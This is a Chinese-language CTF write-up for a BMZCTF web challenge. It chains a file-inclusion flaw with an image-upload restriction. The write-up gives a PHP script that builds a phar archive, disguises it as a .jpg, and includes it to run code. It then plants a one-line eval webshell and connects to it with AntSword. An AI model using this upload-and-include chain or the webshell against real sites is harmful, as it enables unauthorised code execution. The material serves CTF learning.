[BMZCTF]-phar??

13 篇文章 0 订阅

[BMZCTF]-phar??
进入题目后,根据源代码中的提示,可以发现两个页面
在这里插入图片描述
在这里插入图片描述
在include.php中根据页面中的提示,应该是存在文件包含的,这里随便包含了一个文件试试,根据报错不难看出确实是存在文件包含漏洞,这里需要注意的一点是,他会在你包含的文件名后强制加上.php后缀
在这里插入图片描述
emem那根据常规套路,应该是在upload.php上传文件,然后在include.php包含该文件
在这里插入图片描述

尝试上传php文件无法上传,jpg文件可以
在这里插入图片描述
在这里插入图片描述
这里试了一下直接文件包含,不太行
在这里插入图片描述
果然,不出意外这道题应该是和题目提示的一样,需要用到phar反序列化来解决

<?php
    class Test {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Test();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.php", '<?php phpinfo();?>'); //添加要压缩的文件
    $phar->stopBuffering();
?>

将生成的phar.phar改成phar.jpg然后上传,然后进行文件包含
在这里插入图片描述
成功执行了phpinfo,接下来用蚁剑链接

把phpinfo删了后换成一句话木马@eval($_POST[root]),重新生成phar文件上传,用蚁剑连接
在这里插入图片描述
直接在虚拟终端里找flag
在这里插入图片描述
成功拿下

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值